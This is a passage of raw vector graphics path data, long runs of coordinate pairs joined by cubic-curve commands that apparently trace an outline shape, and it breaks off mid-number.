130883.00 91476.00C130872.33 91518.67 130861.67 91561.33 130851.00 91604.00C130861.67 91657.67 130872.33 91711.33 130883.00 91765.00C130915.00 91775.67 130947.00 91786.33 130979.00 91797.00C131000.33 91786.33 131021.67 91775.67 131043.00 91765.00C131054.00 91765.00 131065.00 91765.00 131076.00 91765.00C131097.33 91775.67 131118.67 91786.33 131140.00 91797.00C131150.67 91797.00 131161.33 91797.00 131172.00 91797.00C131193.33 91786.33 131214.67 91775.67 131236.00 91765.00C131257.67 91765.00 131279.33 91765.00 131301.00 91765.00C131279.33 91808.00 131257.67 91851.00 131236.00 91894.00C131236.00 91915.33 131236.00 91936.67 131236.00 91958.00C131279.00 91968.67 131322.00 91979.33 131365.00 91990.00C131386.33 91979.33 131407.67 91968.67 131429.00 91958.00C131450.67 91968.67 131472.33 91979.33 131494.00 91990.00C131504.67 92000.67 131515.33 92011.33 131526.00 92022.00C131493.67 92032.67 131461.33 92043.33 131429.00 92054.00C131418.33 92065.00 131407.67 92076.00 131397.00 92087.00C131429.33 92119.00 131461.67 92151.00 131494.00 92183.00C131494.00 92204.33 131494.00 92225.67 131494.00 92247.00C131504.67 92257.67 131515.33 92268.33 131526.00 92279.00C131536.67 92279.00 131547.33 92279.00 131558.00 92279.00C131568.67 92247.00 131579.33 92215.00 131590.00 92183.00C131622.33 92172.33 131654.67 92161.67 131687.00 92151.00C131687.00 92129.67 131687.00 92108.33 131687.00 92087.00C131697.67 92076.00 131708.33 92065.00 131719.00 92054.00C131729.67 92054.00 131740.33 92054.00 131751.00 92054.00C131761.67 92032.67 131772.33 92011.33 131783.00 91990.00C131815.28 92022.06 131847.06 92054.61 131879.00 92087.00C131900.67 92087.00 131922.33 92087.00 131944.00 92087.00C131976.00 92097.67 132008.00 92108.33 132040.00 92119.00C132050.67 92108.33 132061.33 92097.67 132072.00 92087.00C132104.33 92087.00 132136.67 92087.00 132169.00 92087.00C132169.00 92097.67 132169.00 92108.33 132169.00 92119.00C132179.67 92119.00 132190.33 92119.00 132201.00 92119.00C132190.33 92129.67 132179.67 92140.33 132169.00 92151.00C132190.33 92151.00 132211.67 92151.00 132233.00 92151.00C132243.67 92129.67 132254.33 92108.33 132265.00 92087.00C132275.67 92087.00 132286.33 92087.00 132297.00 92087.00C132297.00 92065.33 132297.00 92043.67 132297.00 92022.00C132318.67 92022.00 132340.33 92022.00 132362.00 92022.00C132372.67 92011.33 132383.33 92000.67 132394.00 91990.00C132383.33 91958.00 132372.67 91926.00 132362.00 91894.00C132394.00 91883.00 132426.00 91872.00 132458.00 91861.00C132458.00 91850.33 132458.00 91839.67 132458.00 91829.00C132479.67 91829.00 132501.33 91829.00 132523.00 91829.00C132533.67 91818.33 132544.33 91807.67 132555.00 91797.00C132576.33 91807.67 132597.67 91818.33 132619.00 91829.00C132640.33 91818.33 132661.67 91807.67 132683.00 91797.00C132693.67 91807.67 132704.33 91818.33 132715.00 91829.00C132704.33 91839.67 132693.67 91850.33 132683.00 91861.00C132704.67 91872.00 132726.33 91883.00 132748.00 91894.00C132758.67 91883.00 132769.33 91872.00 132780.00 91861.00C132801.33 91872.00 132822.67 91883.00 132844.00 91894.00C132865.33 91883.00 132886.67 91872.00 132908.00 91861.00C132908.00 91839.67 132908.00 91818.33 132908.00 91797.00C132897.33 91797.00 132886.67 91797.00 132876.00 91797.00C132897.33 91775.67 132918.67 91754.33 132940.00 91733.00C132961.67 91733.00 132983.33 91733.00 133005.00 91733.00C133015.67 91722.33 133026.33 91711.67 133037.00 91701.00C133037.00 91722.33 133037.00 91743.67 133037.00 91765.00C133047.67 91765.00 133058.33 91765.00 133069.00 91765.00C133069.00 91754.33 133069.00 91743.67 133069.00 91733.00C133079.67 91722.33 133090.33 91711.67 133101.00 91701.00C133111.67 91711.67 133122.33 91722.33 133133.00 91733.00C133133.00 91743.67 133133.00 91754.33 133133.00 91765.00C133144.00 91754.33 133155.00 91743.67 133166.00 91733.00C133166.00 91711.67 133166.00 91690.33 133166.00 91669.00C133187.33 91669.00 133208.67 91669.00 133230.00 91669.00C133230.00 91658.00 133230.00 91647.00 133230.00 91636.00C133240.67 91647.00 133251.33 91658.00 133262.00 91669.00C133283.33 91658.00 133304.67 91647.00 133326.00 91636.00C133337.00 91625.33 133348.00 91614.67 133359.00 91604.00C133369.67 91604.00 133380.33 91604.00 133391.00 91604.00C133412.33 91593.33 133433.67 91582.67 133455.00 91572.00C133476.33 91572.00 133497.67 91572.00 133519.00 91572.00C133519.00 91540.00 133519.00 91508.00 133519.00 91476.00C133551.33 91476.00 133583.67 91476.00 133616.00 91476.00C133616.00 91486.67 133616.00 91497.33 133616.00 91508.00C133626.67 91508.00 133637.33 91508.00 133648.00 91508.00C133648.00 91497.33 133648.00 91486.67 133648.00 91476.00C133669.33 91454.33 133690.67 91432.67 133712.00 91411.00C133733.33 91411.00 133754.67 91411.00 133776.00 91411.00C133787.00 91389.67 133798.00 91368.33 133809.00 91347.00C133841.00 91336.33 133873.00 91325.67 133905.00 91315.00C133905.00 91304.33 133905.00 91293.67 133905.00 91283.00C133926.33 91261.33 133947.67 91239.67 133969.00 91218.00C133990.67 91207.33 134012.33 91196.67 134034.00 91186.00C134044.67 91164.67 134055.33 91143.33 134066.00 91122.00C134087.33 91122.00 134108.67 91122.00 134130.00 91122.00C134130.00 91143.33 134130.00 91164.67 134130.00 91186.00C134140.67 91175.33 134151.33 91164.67 134162.00 91154.00C134162.00 91175.33 134162.00 91196.67 134162.00 91218.00C134194.33 91207.33 134226.67 91196.67 134259.00 91186.00C134259.00 91164.67 134259.00 91143.33 134259.00 91122.00C134269.67 91122.00 134280.33 91122.00 134291.00 91122.00C134291.00 91111.33 134291.00 91100.67 134291.00 91090.00C134301.67 91068.33 134312.33 91046.67 134323.00 91025.00C134333.67 91025.00 134344.33 91025.00 134355.00 91025.00C134355.00 91003.67 134355.00 90982.33 134355.00 90961.00C134376.67 90950.33 134398.33 90939.67 134420.00 90929.00C134409.00 90918.33 134398.00 90907.67 134387.00 90897.00C134398.00 90897.00 134409.00 90897.00 134420.00 90897.00C134527.00 90832.67 134634.00 90768.33 134741.00 90704.00C134923.45 90714.66 135105.90 90725.37 135288.35 90736.00C135577.57 90736.00 135866.78 90736.00 136156.00 90736.00C136156.00 90693.00 136156.00 90650.00 136156.00 90607.00C136177.33 90585.67 136198.67 90564.33 136220.00 90543.00C136230.67 90543.00 136241.33 90543.00 136252.00 90543.00C136273.67 90361.00 136295.33 90179.00 136317.00 89997.00C136327.67 90007.67 136338.33 90018.33 136349.00 90029.00C136349.00 90061.00 136349.00 90093.00 136349.00 90125.00C136359.67 90125.00 136370.33 90125.00 136381.00 90125.00C136391.67 90135.67 136402.33 90146.33 136413.00 90157.00C136434.33 90146.33 136455.67 90135.67 136477.00 90125.00C136487.67 90135.67 136498.33 90146.33 136509.00 90157.00C136509.00 90146.33 136509.00 90135.67 136509.00 90125.00C136509.00 90146.67 136509.00 90168.33 136509.00 90190.00C136530.67 90200.67 136552.33 90211.33 136574.00 90222.00C136563.33 90243.33 136552.67 90264.67 136542.00 90286.00C136552.67 90286.00 136563.33 90286.00 136574.00 90286.00C136563.33 90296.67 136552.67 90307.33 136542.00 90318.00C136552.67 90328.67 136563.33 90339.33 136574.00 90350.00C136563.33 90360.67 136552.67 90371.33 136542.00 90382.00C136552.67 90393.00 136563.33 90404.00 136574.00 90415.00C136574.00 90457.67 136574.00 90500.33 136574.00 90543.00C136563.33 90553.67 136552.67 90564.33 136542.00 90575.00C136542.00 90607.33 136542.00 90639.67 136542.00 90672.00C136531.00 90682.67 136520.00 90693.33 136509.00 90704.00C136520.00 90714.67 136531.00 90725.33 136542.00 90736.00C136531.00 90757.33 136520.00 90778.67 136509.00 90800.00C136530.67 90811.00 136552.33 90822.00 136574.00 90833.00C136616.67 90822.00 136659.33 90811.00 136702.00 90800.00C136702.00 90789.33 136702.00 90778.67 136702.00 90768.00C136745.00 90768.00 136788.00 90768.00 136831.00 90768.00C136863.33 90757.33 136895.67 90746.67 136928.00 90736.00C136938.67 90725.33 136949.33 90714.67 136960.00 90704.00C136970.67 90714.67 136981.33 90725.33 136992.00 90736.00C137045.67 90714.67 137099.33 90693.33 137153.00 90672.00C137153.00 90682.67 137153.00 90693.33 137153.00 90704.00C137185.00 90693.33 137217.00 90682.67 137249.00 90672.00C137292.00 90672.00 137335.00 90672.00 137378.00 90672.00C137396.30 90653.75 137414.60 90635.49 137432.48 90616.82C137435.65 90613.54 137438.83 90610.27 137442.00 90607.00C137442.00 90596.33 137442.00 90585.67 137442.00 90575.00C137474.00 90564.33 137506.00 90553.67 137538.00 90543.00C137559.67 90553.67 137581.33 90564.33 137603.00 90575.00C137645.67 90553.67 137688.33 90532.33 137731.00 90511.00C137742.00 90500.33 137753.00 90489.67 137764.00 90479.00C137764.00 90500.33 137764.00 90521.67 137764.00 90543.00C137742.33 90586.00 137720.67 90629.00 137699.00 90672.00C137677.67 90682.67 137656.33 90693.33 137635.00 90704.00C137613.67 90725.33 137592.33 90746.67 137571.00 90768.00C137549.33 90768.00 137527.67 90768.00 137506.00 90768.00C137495.33 90778.67 137484.67 90789.33 137474.00 90800.00C137442.00 90811.00 137410.00 90822.00 137378.00 90833.00C137367.00 90843.67 137356.00 90854.33 137345.00 90865.00C137334.33 90865.00 137323.67 90865.00 137313.00 90865.00C137302.33 90875.67 137291.67 90886.33 137281.00 90897.00C137270.33 90897.00 137259.67 90897.00 137249.00 90897.00C137227.67 90886.33 137206.33 90875.67 137185.00 90865.00C137163.33 90865.00 137141.67 90865.00 137120.00 90865.00C137109.33 90875.67 137098.67 90886.33 137088.00 90897.00C137056.00 90907.67 137024.00 90918.33 136992.00 90929.00C136992.00 90950.33 136992.00 90971.67 136992.00 90993.00C136981.33 91003.67 136970.67 91014.33 136960.00 91025.00C136960.00 91046.67 136960.00 91068.33 136960.00 91090.00C136949.31 91100.79 136938.38 91111.41 136927.84 91122.31C136915.53 91146.39 136902.86 91170.29 136890.81 91194.50C136881.54 91213.34 136872.27 91232.17 136863.00 91251.00C136831.00 91283.00 136799.00 91315.00 136767.00 91347.00C136787.03 91386.93 136806.95 91426.93 136826.59 91467.05C136828.06 91470.04 136829.53 91473.02 136831.00 91476.00C136841.67 91476.00 136852.33 91476.00 136863.00 91476.00C136873.67 91486.67 136884.33 91497.33 136895.00 91508.00C136895.00 91540.00 136895.00 91572.00 136895.00 91604.00C136873.67 91614.67 136852.33 91625.33 136831.00 91636.00C136841.67 91657.67 136852.33 91679.33 136863.00 91701.00C136841.67 91711.67 136820.33 91722.33 136799.00 91733.00C136809.67 91743.67 136820.33 91754.33 136831.00 91765.00C136841.67 91765.00 136852.33 91765.00 136863.00 91765.00C136863.00 91797.00 136863.00 91829.00 136863.00 91861.00C136841.67 91872.00 136820.33 91883.00 136799.00 91894.00C136799.00 91915.33 136799.00 91936.67 136799.00 91958.00C136788.33 91990.00 136777.67 92022.00 136767.00 92054.00C136756.33 92065.00 136745.67 92076.00 136735.00 92087.00C136735.00 92097.67 136735.00 92108.33 136735.00 92119.00C136777.67 92119.00 136820.33 92119.00 136863.00 92119.00C136863.00 92161.67 136863.00 92204.33 136863.00 92247.00C136841.67 92279.33 136820.33 92311.67 136799.00 92344.00C136831.00 92365.33 136863.00 92386.67 136895.00 92408.00C136906.00 92408.00 136917.00 92408.00 136928.00 92408.00C136928.00 92429.33 136928.00 92450.67 136928.00 92472.00C136938.67 92504.33 136949.33 92536.67 136960.00 92569.00C136981.33 92569.00 137002.67 92569.00 137024.00 92569.00C137067.00 92547.67 137110.00 92526.33 137153.00 92505.00C137185.00 92472.67 137217.00 92440.33 137249.00 92408.00C137270.33 92418.67 137291.67 92429.33 137313.00 92440.00C137366.67 92429.33 137420.33 92418.67 137474.00 92408.00C137538.33 92365.00 137602.67 92322.00 137667.00 92279.00C137677.67 92268.33 137688.33 92257.67 137699.00 92247.00C137720.67 92247.00 137742.33 92247.00 137764.00 92247.00C137785.67 92236.23 137807.25 92225.24 137828.98 92214.61C137882.32 92193.41 137935.66 92172.20 137989.00 92151.00C138010.33 92161.67 138031.67 92172.33 138053.00 92183.00C138063.67 92193.67 138074.33 92204.33 138085.00 92215.00C138084.94 92225.78 138085.11 92236.58 138084.92 92247.34C138074.28 92290.23 138063.64 92333.11 138053.00 92376.00C137999.12 92408.10 137945.29 92440.29 137891.38 92472.32C137870.25 92483.21 137849.13 92494.11 137828.00 92505.00C137806.67 92547.67 137785.33 92590.33 137764.00 92633.00C137742.33 92643.67 137720.67 92654.33 137699.00 92665.00C137688.33 92675.67 137677.67 92686.33 137667.00 92697.00C137631.77 92709.03 137596.63 92721.35 137561.33 92733.19C137498.94 92753.69 137436.63 92774.43 137374.33 92795.21C137343.22 92805.47 137312.11 92815.74 137281.00 92826.00C137270.33 92847.33 137259.67 92868.67 137249.00 92890.00C137217.00 92911.67 137185.00 92933.33 137153.00 92955.00C137153.00 92976.33 137153.00 92997.67 137153.00 93019.00C137174.33 93008.33 137195.67 92997.67 137217.00 92987.00C137227.82 93008.51 137238.45 93030.14 137249.39 93051.59C137270.59 93083.72 137291.80 93115.86 137313.00 93148.00C137313.00 93158.67 137313.00 93169.33 137313.00 93180.00C137281.00 93190.67 137249.00 93201.33 137217.00 93212.00C137217.00 93222.67 137217.00 93233.33 137217.00 93244.00C137227.67 93244.00 137238.33 93244.00 137249.00 93244.00C137249.00 93265.33 137249.00 93286.67 137249.00 93308.00C137238.33 93329.67 137227.67 93351.33 137217.00 93373.00C137195.67 93394.33 137174.33 93415.67 137153.00 93437.00C137163.67 93458.33 137174.33 93479.67 137185.00 93501.00C137174.33 93522.67 137163.67 93544.33 137153.00 93566.00C137163.67 93587.33 137174.33 93608.67 137185.00 93630.00C137195.67 93640.67 137206.33 93651.33 137217.00 93662.00C137227.67 93651.33 137238.33 93640.67 137249.00 93630.00C137259.67 93640.67 137270.33 93651.33 137281.00 93662.00C137324.00 93651.33 137367.00 93640.67 137410.00 93630.00C137452.67 93672.67 137495.33 93715.33 137538.00 93758.00C137495.33 93801.00 137452.67 93844.00 137410.00 93887.00C137367.00 93908.33 137324.00 93929.67 137281.00 93951.00C137270.33 93972.67 137259.67 93994.33 137249.00 94016.00C137238.33 94016.00 137227.67 94016.00 137217.00 94016.00C137195.67 94037.33 137174.33 94058.67 137153.00 94080.00C137131.33 94123.00 137109.67 94166.00 137088.00 94209.00C137077.33 94219.67 137066.67 94230.33 137056.00 94241.00C137066.79 94251.69 137077.41 94262.62 137088.31 94273.15C137109.88 94283.77 137131.44 94294.38 137153.00 94305.00C137163.67 94315.67 137174.33 94326.33 137185.00 94337.00C137185.00 94347.67 137185.00 94358.33 137185.00 94369.00C137174.33 94369.00 137163.67 94369.00 137153.00 94369.00C137110.00 94401.33 137067.00 94433.67 137024.00 94466.00C137024.00 94476.67 137024.00 94487.33 137024.00 94498.00C137045.33 94508.67 137066.67 94519.33 137088.00 94530.00C137120.33 94519.33 137152.67 94508.67 137185.00 94498.00C137206.33 94541.00 137227.67 94584.00 137249.00 94627.00C137238.33 94637.67 137227.67 94648.33 137217.00 94659.00C137142.00 94680.33 137067.00 94701.67 136992.00 94723.00C136981.33 94733.67 136970.67 94744.33 136960.00 94755.00C136992.00 94776.67 137024.00 94798.33 137056.00 94820.00C137045.33 94841.33 137034.67 94862.67 137024.00 94884.00C137024.00 94894.67 137024.00 94905.33 137024.00 94916.00C137056.00 94916.00 137088.00 94916.00 137120.00 94916.00C137141.67 94937.33 137163.33 94958.67 137185.00 94980.00C137185.00 95001.67 137185.00 95023.33 137185.00 95045.00C137142.00 95120.00 137099.00 95195.00 137056.00 95270.00C137056.00 95312.67 137056.00 95355.33 137056.00 95398.00C137045.33 95430.33 137034.67 95462.67 137024.00 95495.00C137077.88 95527.09 137131.70 95559.30 137185.63 95591.31C137206.75 95601.88 137227.88 95612.44 137249.00 95623.00C137259.67 95634.00 137270.33 95645.00 137281.00 95656.00C137270.33 95688.00 137259.67 95720.00 137249.00 95752.00C137270.33 95773.33 137291.67 95794.67 137313.00 95816.00C137302.31 95826.79 137291.38 95837.41 137280.84 95848.31C137259.56 95891.21 137238.28 95934.10 137217.00 95977.00C137184.67 95998.33 137152.33 96019.67 137120.00 96041.00C137141.67 96041.00 137163.33 96041.00 137185.00 96041.00C137195.67 96062.67 137206.33 96084.33 137217.00 96106.00C137195.67 96138.00 137174.33 96170.00 137153.00 96202.00C137142.00 96202.00 137131.00 96202.00 137120.00 96202.00C137109.33 96191.33 137098.67 96180.67 137088.00 96170.00C137066.67 96191.33 137045.33 96212.67 137024.00 96234.00C137045.33 96244.67 137066.67 96255.33 137088.00 96266.00C137120.33 96266.00 137152.67 96266.00 137185.00 96266.00C137217.00 96287.67 137249.00 96309.33 137281.00 96331.00C137302.33 96331.00 137323.67 96331.00 137345.00 96331.00C137345.00 96373.67 137345.00 96416.33 137345.00 96459.00C137366.79 96469.66 137388.50 96480.55 137410.34 96491.07C137463.90 96502.05 137517.45 96513.02 137571.00 96524.00C137603.00 96513.00 137635.00 96502.00 137667.00 96491.00C137688.33 96502.00 137709.67 96513.00 137731.00 96524.00C137742.00 96545.33 137753.00 96566.67 137764.00 96588.00C137753.00 96620.00 137742.00 96652.00 137731.00 96684.00C137763.33 96684.00 137795.67 96684.00 137828.00 96684.00C137828.00 96705.67 137828.00 96727.33 137828.00 96749.00C137838.67 96749.00 137849.33 96749.00 137860.00 96749.00C137900.09 96729.02 137940.12 96708.92 137980.02 96688.56C137983.01 96687.04 137986.01 96685.52 137989.00 96684.00C138010.33 96705.67 138031.67 96727.33 138053.00 96749.00C138031.67 96791.67 138010.33 96834.33 137989.00 96877.00C138021.00 96898.67 138053.00 96920.33 138085.00 96942.00C138106.33 96942.00 138127.67 96942.00 138149.00 96942.00C138159.67 96963.33 138170.33 96984.67 138181.00 97006.00C138181.00 97016.67 138181.00 97027.33 138181.00 97038.00C138192.00 97038.00 138203.00 97038.00 138214.00 97038.00C138224.67 97027.33 138235.33 97016.67 138246.00 97006.00C138267.33 97006.00 138288.67 97006.00 138310.00 97006.00C138320.67 97016.67 138331.33 97027.33 138342.00 97038.00C138331.33 97059.33 138320.67 97080.67 138310.00 97102.00C138342.33 97102.00 138374.67 97102.00 138407.00 97102.00C138428.33 97113.00 138449.67 97124.00 138471.00 97135.00C138481.67 97199.00 138492.33 97263.00 138503.00 97327.00C138513.69 97338.13 138524.61 97349.09 138535.16 97360.31C138545.77 97381.54 138556.39 97402.77 138567.00 97424.00C138588.67 97434.67 138610.33 97445.33 138632.00 97456.00C138653.33 97456.00 138674.67 97456.00 138696.00 97456.00C138706.67 97466.67 138717.33 97477.33 138728.00 97488.00C138717.33 97509.67 138706.67 97531.33 138696.00 97553.00C138696.00 97563.67 138696.00 97574.33 138696.00 97585.00C138674.67 97606.33 138653.33 97627.67 138632.00 97649.00C138632.00 97681.33 138632.00 97713.67 138632.00 97746.00C138621.33 97756.67 138610.67 97767.33 138600.00 97778.00C138578.33 97778.00 138556.67 97778.00 138535.00 97778.00C138513.67 97799.33 138492.33 97820.67 138471.00 97842.00C138460.33 97842.00 138449.67 97842.00 138439.00 97842.00C138428.33 97852.67 138417.67 97863.33 138407.00 97874.00C138374.67 97863.33 138342.33 97852.67 138310.00 97842.00C138288.67 97810.00 138267.33 97778.00 138246.00 97746.00C138235.33 97756.67 138224.67 97767.33 138214.00 97778.00C138214.00 97788.67 138214.00 97799.33 138214.00 97810.00C138224.67 97810.00 138235.33 97810.00 138246.00 97810.00C138246.00 97820.67 138246.00 97831.33 138246.00 97842.00C138256.67 97852.67 138267.33 97863.33 138278.00 97874.00C138278.00 97895.33 138278.00 97916.67 138278.00 97938.00C138267.31 97949.13 138256.39 97960.09 138245.84 97971.31C138235.23 97992.54 138224.61 98013.77 138214.00 98035.00C138246.00 98067.00 138278.00 98099.00 138310.00 98131.00C138310.00 98152.67 138310.00 98174.33 138310.00 98196.00C138299.33 98206.67 138288.67 98217.33 138278.00 98228.00C138288.67 98228.00 138299.33 98228.00 138310.00 98228.00C138299.33 98238.67 138288.67 98249.33 138278.00 98260.00C138321.00 98303.00 138364.00 98346.00 138407.00 98389.00C138396.00 98399.67 138385.00 98410.33 138374.00 98421.00C138352.67 98410.33 138331.33 98399.67 138310.00 98389.00C138320.67 98410.33 138331.33 98431.67 138342.00 98453.00C138331.33 98453.00 138320.67 98453.00 138310.00 98453.00C138320.67 98463.67 138331.33 98474.33 138342.00 98485.00C138342.00 98495.67 138342.00 98506.33 138342.00 98517.00C138331.33 98517.00 138320.67 98517.00 138310.00 98517.00C138320.67 98517.00 138331.33 98517.00 138342.00 98517.00C138352.67 98527.67 138363.33 98538.33 138374.00 98549.00C138363.33 98581.33 138352.67 98613.67 138342.00 98646.00C138320.67 98656.67 138299.33 98667.33 138278.00 98678.00C138310.00 98710.00 138342.00 98742.00 138374.00 98774.00C138374.00 98785.00 138374.00 98796.00 138374.00 98807.00C138352.67 98828.33 138331.33 98849.67 138310.00 98871.00C138320.67 98881.67 138331.33 98892.33 138342.00 98903.00C138342.00 98924.33 138342.00 98945.67 138342.00 98967.00C138320.67 98977.67 138299.33 98988.33 138278.00 98999.00C138267.33 98999.00 138256.67 98999.00 138246.00 98999.00C138246.00 98988.33 138246.00 98977.67 138246.00 98967.00C138246.00 98977.67 138246.00 98988.33 138246.00 98999.00C138224.33 98999.00 138202.67 98999.00 138181.00 98999.00C138181.00 99020.67 138181.00 99042.33 138181.00 99064.00C138170.33 99074.67 138159.67 99085.33 138149.00 99096.00C138181.06 99128.28 138213.61 99160.06 138246.00 99192.00C138256.67 99192.00 138267.33 99192.00 138278.00 99192.00C138278.00 99235.00 138278.00 99278.00 138278.00 99321.00C138267.33 99321.00 138256.67 99321.00 138246.00 99321.00C138246.00 99428.33 138246.00 99535.67 138246.00 99643.00C138227.75 99661.30 138209.49 99679.60 138190.82 99697.48C138187.55 99700.65 138184.27 99703.83 138181.00 99707.00C138181.00 99717.67 138181.00 99728.33 138181.00 99739.00C138138.33 99760.33 138095.67 99781.67 138053.00 99803.00C138053.00 99813.67 138053.00 99824.33 138053.00 99835.00C138063.67 99835.00 138074.33 99835.00 138085.00 99835.00C138106.33 99867.33 138127.67 99899.67 138149.00 99932.00C138138.33 99964.00 138127.67 99996.00 138117.00 100028.00C138106.33 100028.00 138095.67 100028.00 138085.00 100028.00C138074.18 100049.85 138063.57 100071.81 138052.61 100093.58C138031.41 100125.39 138010.20 100157.19 137989.00 100189.00C137967.33 100178.33 137945.67 100167.67 137924.00 100157.00C137913.33 100200.00 137902.67 100243.00 137892.00 100286.00C137881.33 100296.67 137870.67 100307.33 137860.00 100318.00C137828.00 100318.00 137796.00 100318.00 137764.00 100318.00C137753.00 100296.33 137742.00 100274.67 137731.00 100253.00C137709.67 100253.00 137688.33 100253.00 137667.00 100253.00C137656.33 100264.00 137645.67 100275.00 137635.00 100286.00C137624.33 100286.00 137613.67 100286.00 137603.00 100286.00C137581.33 100264.33 137559.67 100242.67 137538.00 100221.00C137538.00 100210.33 137538.00 100199.67 137538.00 100189.00C137527.33 100189.00 137516.67 100189.00 137506.00 100189.00C137516.67 100221.33 137527.33 100253.67 137538.00 100286.00C137506.00 100318.00 137474.00 100350.00 137442.00 100382.00C137399.00 100360.67 137356.00 100339.33 137313.00 100318.00C137302.33 100318.00 137291.67 100318.00 137281.00 100318.00C137281.00 100328.67 137281.00 100339.33 137281.00 100350.00C137259.67 100350.00 137238.33 100350.00 137217.00 100350.00C137206.33 100317.67 137195.67 100285.33 137185.00 100253.00C137163.33 100253.00 137141.67 100253.00 137120.00 100253.00C137098.67 100264.00 137077.33 100275.00 137056.00 100286.00C137013.33 100286.00 136970.67 100286.00 136928.00 100286.00C136917.00 100275.00 136906.00 100264.00 136895.00 100253.00C136895.00 100231.67 136895.00 100210.33 136895.00 100189.00C136873.67 100189.00 136852.33 100189.00 136831.00 100189.00C136820.33 100178.33 136809.67 100167.67 136799.00 100157.00C136788.33 100157.00 136777.67 100157.00 136767.00 100157.00C136777.67 100135.67 136788.33 100114.33 136799.00 100093.00C136799.00 100082.33 136799.00 100071.67 136799.00 100061.00C136809.67 100050.00 136820.33 100039.00 136831.00 100028.00C136841.67 99996.00 136852.33 99964.00 136863.00 99932.00C136841.67 99932.00 136820.33 99932.00 136799.00 99932.00C136788.33 99921.33 136777.67 99910.67 136767.00 99900.00C136767.00 99846.33 136767.00 99792.67 136767.00 99739.00C136745.33 99739.00 136723.67 99739.00 136702.00 99739.00C136702.00 99717.67 136702.00 99696.33 136702.00 99675.00C136670.00 99664.33 136638.00 99653.67 136606.00 99643.00C136595.33 99643.00 136584.67 99643.00 136574.00 99643.00C136563.33 99632.00 136552.67 99621.00 136542.00 99610.00C136531.00 99610.00 136520.00 99610.00 136509.00 99610.00C136466.33 99567.33 136423.67 99524.67 136381.00 99482.00C136338.00 99460.67 136295.00 99439.33 136252.00 99418.00C136230.67 99385.67 136209.33 99353.33 136188.00 99321.00C136156.00 99321.00 136124.00 99321.00 136092.00 99321.00C136081.00 99289.00 136070.00 99257.00 136059.00 99225.00C136059.00 99214.00 136059.00 99203.00 136059.00 99192.00C136027.00 99203.00 135995.00 99214.00 135963.00 99225.00C135941.67 99214.00 135920.33 99203.00 135899.00 99192.00C135888.00 99213.67 135877.00 99235.33 135866.00 99257.00C135877.00 99278.33 135888.00 99299.67 135899.00 99321.00C135880.25 99339.14 135861.49 99357.27 135843.17 99375.83C135839.97 99378.88 135837.00 99382.29 135833.67 99385.11C135801.78 99396.08 135769.89 99407.04 135738.00 99418.00C135727.33 99418.00 135716.67 99418.00 135706.00 99418.00C135706.00 99450.00 135706.00 99482.00 135706.00 99514.00C135673.67 99535.33 135641.33 99556.67 135609.00 99578.00C135609.00 99599.67 135609.00 99621.33 135609.00 99643.00C135619.67 99664.33 135630.33 99685.67 135641.00 99707.00C135641.00 99728.33 135641.00 99749.67 135641.00 99771.00C135673.33 99781.67 135705.67 99792.33 135738.00 99803.00C135748.67 99803.00 135759.33 99803.00 135770.00 99803.00C135791.33 99835.33 135812.67 99867.67 135834.00 99900.00C135812.54 99953.87 135791.23 100007.80 135769.69 100061.63C135759.13 100082.88 135748.34 100104.04 135737.93 100125.34C135727.29 100178.90 135716.64 100232.45 135706.00 100286.00C135716.67 100307.33 135727.33 100328.67 135738.00 100350.00C135738.00 100371.33 135738.00 100392.67 135738.00 100414.00C135748.79 100424.69 135759.41 100435.62 135770.31 100446.16C135791.54 100457.11 135812.77 100468.05 135834.00 100479.00C135834.00 100500.33 135834.00 100521.67 135834.00 100543.00C135823.33 100553.67 135812.67 100564.33 135802.00 100575.00C135791.33 100607.00 135780.67 100639.00 135770.00 100671.00C135791.33 100682.00 135812.67 100693.00 135834.00 100704.00C135834.00 100714.67 135834.00 100725.33 135834.00 100736.00C135844.67 100746.67 135855.33 100757.33 135866.00 100768.00C135877.00 100811.00 135888.00 100854.00 135899.00 100897.00C135888.00 100907.67 135877.00 100918.33 135866.00 100929.00C135844.67 100918.33 135823.33 100907.67 135802.00 100897.00C135791.33 100897.00 135780.67 100897.00 135770.00 100897.00C135748.67 100918.33 135727.33 100939.67 135706.00 100961.00C135695.00 100961.00 135684.00 100961.00 135673.00 100961.00C135641.00 100993.00 135609.00 101025.00 135577.00 101057.00C135555.67 101046.33 135534.33 101035.67 135513.00 101025.00C135491.33 101035.67 135469.67 101046.33 135448.00 101057.00C135437.23 101057.07 135426.41 101056.85 135415.67 101057.11C135383.78 101067.74 135351.89 101078.37 135320.00 101089.00C135280.07 101068.97 135240.07 101049.05 135199.95 101029.41C135195.30 101027.08 135190.43 101025.13 135186.51 101021.63C135145.34 100990.75 135104.17 100959.88 135063.00 100929.00C135030.57 100918.26 134998.08 100907.66 134965.69 100896.84C134923.12 100875.23 134880.56 100853.61 134838.00 100832.00C134795.00 100821.33 134752.00 100810.67 134709.00 100800.00C134666.00 100778.67 134623.00 100757.33 134580.00 100736.00C134515.21 100725.22 134450.40 100714.59 134385.62 100703.72C134332.75 100692.81 134279.87 100681.91 134227.00 100671.00C134216.00 100692.67 134205.00 100714.33 134194.00 100736.00C134108.33 100789.67 134022.67 100843.33 133937.00 100897.00C133926.33 100907.67 133915.67 100918.33 133905.00 100929.00C133905.00 100950.33 133905.00 100971.67 133905.00 100993.00C133926.33 101014.33 133947.67 101035.67 133969.00 101057.00C133990.67 101067.67 134012.33 101078.33 134034.00 101089.00C134034.00 101110.67 134034.00 101132.33 134034.00 101154.00C134055.33 101164.67 134076.67 101175.33 134098.00 101186.00C134087.31 101196.79 134076.38 101207.41 134065.84 101218.31C134033.78 101282.65 134001.33 101346.80 133969.00 101411.00C133958.33 101443.00 133947.67 101475.00 133937.00 101507.00C133905.00 101550.00 133873.00 101593.00 133841.00 101636.00C133851.67 101668.33 133862.33 101700.67 133873.00 101733.00C133862.33 101743.67 133851.67 101754.33 133841.00 101765.00C133862.33 101807.67 133883.67 101850.33 133905.00 101893.00C133928.37 101869.74 133951.52 101846.25 133975.05 101823.14C133984.03 101814.42 133993.02 101805.71 134002.00 101797.00C134023.33 101797.00 134044.67 101797.00 134066.00 101797.00C134066.00 101872.00 134066.00 101947.00 134066.00 102022.00C134098.00 102022.00 134130.00 102022.00 134162.00 102022.00C134215.67 102086.33 134269.33 102150.67 134323.00 102215.00C134312.33 102257.67 134301.67 102300.33 134291.00 102343.00C134269.67 102343.00 134248.33 102343.00 134227.00 102343.00C134205.33 102364.67 134183.67 102386.33 134162.00 102408.00C134194.33 102418.67 134226.67 102429.33 134259.00 102440.00C134259.00 102450.67 134259.00 102461.33 134259.00 102472.00C134237.33 102493.33 134215.67 102514.67 134194.00 102536.00C134161.90 102547.07 134129.75 102558.02 